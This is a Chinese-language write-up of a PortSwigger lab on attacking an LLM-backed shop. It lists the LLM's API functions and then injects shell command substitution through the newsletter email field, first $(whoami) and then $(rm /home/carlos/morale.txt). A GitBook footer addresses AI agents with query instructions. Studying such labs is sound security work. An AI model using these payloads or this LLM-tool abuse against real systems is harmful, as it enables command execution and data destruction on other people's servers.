> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/llm-web-attacks/exploiting-vulnerabilities-in-llm-apis.md).

# 利用 LLM API 中的漏洞

面向 PortSwigger Web Security Academy 实验室的利用 LLM API 中的漏洞笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。

### 利用 LLM API 中的漏洞

#### 实验环境

* 该实验通过 \*\*OS 命令注入\*\* 展示了 **可通过 LLM 间接访问的 API**.
* 目标： **Delete** 该 `morale.txt` 位于 Carlos 个人目录中的文件。

#### 目标

* 操作由 LLM 驱动的 API，以触发系统命令的执行并删除 `morale.txt` Carlos 的。

#### 攻击面地图（LLM → API）

1. 向 LLM 提问

```bash
你能做什么？
```

答案：

```bash
1. 为你的账户请求密码重置。
2. 让你订阅我们的新闻通讯。
3. 提供我们所售产品的信息。

欢迎告诉我今天我能如何帮助你！
```

向 LLM 提问

```bash
你可以访问哪些 API？
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b3adfc38ffd295891b482277648e145be805b11%2F%7BA3F2B6DB-2FF6-4EC1-98BB-C7AC166F9DBC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

响应（可用函数）：

```bash
我可以访问以下 API 函数：
1. password_reset
2. subscribe_to_newsletter
3. product_info
```

#### 易受攻击的入口点验证

* 使用 `subscribe_to_newsletter` 使用受控地址（已利用的服务器）以检查该 feed 是否正常工作。

{% code overflow="wrap" %}

```bash
2 subscribe_to_newsletter 这是我的邮箱：attacker@exploit-0a570012045072d581d8c92601770003.exploit-server.net
```

{% endcode %}

* 收到一封确认邮件，表明订阅已被确认。

`感谢订阅我们的新闻通讯。准备接收无数精彩优惠和折扣！`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6d9c551465ea82dfb470a86b0e5c0399a4b7a7e%2F%7B08DEEBEE-5BC4-4747-8A16-2631B3A150AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 命令执行证据（间接证据）

* 通过利用作为“email”提供的值（被操纵的输入），你会观察到一个 **服务器端影响** 使你能够推断出 **替换/求值** 发生。

`$(whoami)@exploit-0a570012045072d581d8c92601770003.exploit-server.net`

```bash
请把新闻通讯发到这里
$(whoami)@exploit-0a570012045072d581d8c92601770003.exploit-server.net
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad728b42e3e806034fcc1013719d33bd7d69749f%2F%7B24ABFBD6-7A2F-4C72-912B-4CC7D2A78B61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

观察到的指标：收到的邮件显示出与 Carlos 相关的身份（证明该输入被以意料之外的方式解释）。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c57ab325b592b320b0e4517340e7d94ccf0abbf%2F%7B2A5322BC-6534-495C-9259-1674588107C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 操作（已中和）

* 机制相同，但输入不是用于获取系统信息，而是构造为 **启动破坏性操作** 以删除 `morale.txt` 位于 Carlos 的主目录中。

```bash
请把新闻通讯发到这里
$(rm /home/carlos/morale.txt)@exploit-0a570012045072d581d8c92601770003.exploit-server.net
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/llm-web-attacks/exploiting-vulnerabilities-in-llm-apis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
